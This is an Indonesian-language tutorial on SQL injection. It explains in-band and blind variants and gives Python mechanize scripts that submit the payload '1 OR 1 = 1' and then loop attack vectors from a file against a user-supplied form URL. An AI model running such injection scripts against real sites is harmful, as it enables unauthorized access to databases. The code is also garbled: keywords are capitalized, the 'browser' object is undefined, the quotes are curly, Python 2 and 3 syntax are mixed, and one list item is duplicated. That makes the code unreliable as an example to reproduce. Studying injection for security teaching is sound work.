Pengujian Penetrasi Python - SQLi Web Attack
Injeksi SQL adalah sekumpulan perintah SQL yang ditempatkan dalam string URL atau dalam struktur data untuk mengambil respons yang kita inginkan dari database yang terhubung dengan aplikasi web. Jenis serangan ini umumnya terjadi pada halaman web yang dikembangkan menggunakan PHP atau ASP.NET.
Serangan injeksi SQL dapat dilakukan dengan maksud berikut -
Untuk mengubah konten database
Untuk mengubah konten database
Untuk melakukan kueri berbeda yang tidak diizinkan oleh aplikasi
Jenis serangan ini bekerja ketika aplikasi tidak memvalidasi input dengan benar, sebelum meneruskannya ke pernyataan SQL. Injeksi biasanya ditempatkan di bilah alamat, bidang pencarian, atau bidang data.
Cara termudah untuk mendeteksi apakah aplikasi web rentan terhadap serangan injeksi SQL adalah dengan menggunakan karakter "'" dalam string dan melihat apakah Anda mendapatkan kesalahan.
Jenis Serangan SQLi
Di bagian ini, kita akan belajar tentang berbagai jenis serangan SQLi. Serangan tersebut dapat dikategorikan menjadi dua jenis berikut -
Injeksi SQL dalam band (SQLi Sederhana)
Injeksi SQL Inferensial (Blind SQLi)
Injeksi SQL dalam band (SQLi Sederhana)
Ini adalah injeksi SQL yang paling umum. Jenis injeksi SQL ini terutama terjadi ketika penyerang dapat menggunakan saluran komunikasi yang sama untuk meluncurkan serangan & mengumpulkan hasil. Injeksi SQL dalam band selanjutnya dibagi menjadi dua jenis -
Error-based SQL injection - Teknik injeksi SQL berbasis kesalahan mengandalkan pesan kesalahan yang dilemparkan oleh server database untuk mendapatkan informasi tentang struktur database.
Union-based SQL injection - Ini adalah teknik injeksi SQL in-band lain yang memanfaatkan operator UNION SQL untuk menggabungkan hasil dari dua atau lebih pernyataan SELECT menjadi satu hasil, yang kemudian dikembalikan sebagai bagian dari respons HTTP.
Injeksi SQL Inferensial (Blind SQLi)
Dalam serangan injeksi SQL semacam ini, penyerang tidak dapat melihat hasil serangan di pita karena tidak ada data yang ditransfer melalui aplikasi web. Inilah alasan mengapa disebut juga Blind SQLi. Injeksi SQL Inferensial lebih jauh dari dua jenis -
Boolean-based blind SQLi - Jenis teknik ini mengandalkan pengiriman kueri SQL ke database, yang memaksa aplikasi mengembalikan hasil yang berbeda bergantung pada apakah kueri mengembalikan hasil yang BENAR atau SALAH.
Time-based blind SQLi- Jenis teknik ini bergantung pada pengiriman kueri SQL ke database, yang memaksa database untuk menunggu selama jangka waktu tertentu (dalam detik) sebelum merespons. Waktu respons akan menunjukkan kepada penyerang apakah hasil kueri BENAR atau SALAH.
Contoh
Semua jenis SQLi dapat diimplementasikan dengan memanipulasi data masukan ke aplikasi. Dalam contoh berikut, kami menulis skrip Python untuk memasukkan vektor serangan ke aplikasi dan menganalisis keluaran untuk memverifikasi kemungkinan serangan. Di sini, kita akan menggunakan modul python bernamamechanize, yang memberikan fasilitas untuk mendapatkan formulir web dalam halaman web dan memfasilitasi pengiriman nilai input juga. Kami juga telah menggunakan modul ini untuk validasi sisi klien.
Skrip Python berikut membantu mengirimkan formulir dan menganalisis respons menggunakan mechanize -
Pertama-tama kita perlu mengimpor file mechanize modul.
import mechanize
Sekarang, berikan nama URL untuk mendapatkan respon setelah mengirimkan formulir.
url = input("Enter the full url")
Baris kode berikut akan membuka url.
request = mechanize.Browser()
request.open(url)
Sekarang, kita perlu memilih formulir.
request.select_form(nr = 0)
Di sini, kami akan mengatur nama kolom 'id'.
request["id"] = "1 OR 1 = 1"
Sekarang, kami perlu mengirimkan formulir.
response = request.submit()
content = response.read()
print content
Skrip di atas akan mencetak respons untuk permintaan POST. Kami telah mengirimkan vektor serangan untuk memecahkan kueri SQL dan mencetak semua data dalam tabel, bukan satu baris. Semua vektor serangan akan disimpan dalam file teks katakanlah vector.txt. Sekarang, skrip Python yang diberikan di bawah ini akan mendapatkan vektor serangan tersebut dari file dan mengirimkannya ke server satu per satu. Ini juga akan menyimpan output ke file.
Untuk memulainya, mari kita impor modul mekanisasi.
import mechanize
Sekarang, berikan nama URL untuk mendapatkan respon setelah mengirimkan formulir.
url = input("Enter the full url")
attack_no = 1
Kita perlu membaca vektor serangan dari file.
With open (‘vectors.txt’) as v:
Sekarang kami akan mengirim permintaan dengan setiap vektor arrack
For line in v:
browser.open(url)
browser.select_form(nr = 0)
browser[“id”] = line
res = browser.submit()
content = res.read()
Sekarang, baris kode berikut akan menulis respons ke file output.
output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1
Dengan memeriksa dan menganalisis tanggapan, kami dapat mengidentifikasi kemungkinan serangan. Misalnya, jika memberikan respons yang menyertakan kalimatYou have an error in your SQL syntax maka itu berarti formulir mungkin terpengaruh oleh injeksi SQL.